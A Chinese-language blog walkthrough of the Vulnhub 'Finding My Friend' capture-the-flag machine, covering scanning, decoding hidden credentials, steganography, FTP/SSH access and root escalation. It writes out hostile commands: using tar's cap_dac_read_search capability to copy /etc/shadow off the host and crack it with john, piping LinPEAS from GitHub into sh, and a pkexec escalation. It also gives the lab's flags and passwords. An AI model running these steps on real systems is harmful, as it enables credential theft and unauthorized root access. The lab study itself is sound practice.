Vulnhub:Finding My Friend

靶机下载地址

靶机搭建时可能的报错

靶机下载成功后在virtualbox中打开,启动虚拟机时报错virtualbox e_fail 0x80004005,这个错误code说明可能存在配置错误、操作系统不兼容、硬件问题等。该靶机属于串口路径错误

我的解决办法是:靶机设置——》串口——》全部取消。

信息收集

主机发现

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.172

端口扫描

nmap 192.168.31.172 -A -p- -T4

开放端口有21,22,80。

目录扫描

访问80端口,是一段对话,内容是Rohit请求Admin找honey,Admin给出提示:KOKO是honey的朋友。

得到了三个人名,并提示找KOKO,目录扫描。

dirsearch -u http://192.168.31.172

访问/images,得到四张图片,经过测试没有图片隐写。

上字典。

gobuster dir -u http://192.168.31.172/friend -w directory-list-2.3-medium.txt -x html,php,js,jpg,png,txt

发现隐藏目录/friend。

访问/friend,是KOKO和Rohit的对话,KOKO指向John的note,并说:

笔记在哪儿,最初以为还有其他隐藏目录,一顿扫描浪费了时间。最后发现上面的对话已经指出提示就在这里,F12检查KOKO最后一句话,发现一段隐藏字符串。

NjMgNjEgNzAgNzQgNzUgNzIgNjUgM2EgNjggNzUgNmUgNzQgNjkgNmUgNjc=

base64解码得到一串16进制,经过16进制转换后得到capture:hunting,应该是用户名和密码。

63 61 70 74 75 72 65 3a 68 75 6e 74 69 6e 67

渗透

FTP登录

得到一组用户名和密码,靶机开启ssh和ftp服务,尝试远程连接。最终这组用户名密码成功连接ftp服务器。

批量下载ftp服务器上的所有文件mget *,注意看看有没有隐藏文件。(mget *不会下载隐藏文件,又被坑了)。这里有四个文件:

flag1.txt

tryhackme{Th1s1sJustTh3St4rt}

note.txt提示有图片隐写。

I have an image but I’m not able to open it. Can you help me to open it?

getme是一段乱码,用16进制编辑器打开对比文件头和文件尾确认这是一张png图片,修改后缀名后图片仍然无法查看。

继续看.get.jpg,根据前面note.txt的提示直接上隐写工具steghide,提示需要密码。

steghide --extract -sf .get.jpg

stegseek可以解密并提取隐写内容。得到密码并提取隐藏信息到.get.jpg.out中。

stegseek .get.jpg

cat get.jpg.out,摩斯密码,解密得到一组用户名密码JOHN:BOOGIEWOOGIE

.--- --- .... -. ---... -... --- --- --. .. . .-- --- --- --. .. .

ssh登录

.get.jpg提取的用户名和密码用来远程连接ssh,注意要小写,即john:boogiewoogie

get flag2.txt,clue.txt给出提示要找出honey就读的大学,而parth知道。

好的,接下来就是需要到parth用户目录中找线索,发现没有查看权限。

需要拿到parth的权限才行,常规的提权方案走一遍,例如sudo -l,提示:Sorry, user john may not run sudo on findingmyfriend.john没有sudo权限。那怎么办,当前还已知capture的密码,切换到capture用户,同样办法尝试提权也显示没有sudo权限。

parth

用尽手段不知道如何拿到parth权限,最后学到了一个capability提权。

capability:Linux内核2.1之后引入了capability概念,这个机制的目的是分割root用户的权限,普通用户也可以做root用户才能完成的操作。在执行特权操作时,如果线程的有效身份不是root,就检查其是否具有该特权操作的capabilities,以此决定是否可以执行特权操作。

一些常见的特权操作及其对应的capability:

capability名称描述
CAP_CHOWN修改文件所有者的权限
CAP_FOWNER忽略文件属主ID必须和进程用户ID相匹配的限制
CAP_DAC_READ_SEARCH忽略文件读及目录搜索的DAC访问限制
CAP_SETUID允许改变进程的UID

可以通过以下指令搜索设置了capabilities的可执行文件

getcap -r / 2>/dev/null

发现tar命令有cap_dac_read_search权限。cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用这个特性我们可以读取系统中的敏感信息。

利用tar查看敏感文件内容,压缩/etc/shadow到shadow.tar中,通过破解shadow获取parth用户的密码。

cd /tmp
/etc/fonts/tar -cvf shadow.tar /etc/shadow

开启简易http服务,攻击下载shadow.tar。

# 靶机
python3 -m http.server
# 攻击机
wget http://192.168.31.172:8000/shadow.tar

下载完成后解压缩。

tar -xvf shadow.tar

使用john破解shadow文件。得到parth:johnnydepp

john shadow -w=/usr/share/wordlists/rockyou.txt

get flag3.txt,还有提示指向parth的家目录。

提权-pkexec

sudo -l,/home/honey/.../backup.py,利用不了。

使用LinPEAS枚举在Linux系统上提升权限的所有可能。可以使用curl命令直接从GitHub执行。

curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-
awesome-scripts-suite/master/linPEAS/linpeas.sh | sh

运行后重点关注红字黄底部分。经过百度搜索知道可能是pkexec提权。

pkexec提权的使用前提:

  1. 用户在sudo组中。

  2. 知道用户密码。

当前知道用户密码,需要确认用户是否在sudo组中,id命令查看,符合。

pkexec提权步骤

  1. 先开两个parth终端。

  2. 终端1查看当前终端号,echo $$,。

  3. 终端2用pkttyagent代理终端,pkttyagent --process 终端号

  4. 终端1执行提权命令,pkexec su

  5. 终端2选择用户,输入用户密码。

按步骤执行后即提权成功。

get flag4.txt!🎆

  • 23
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值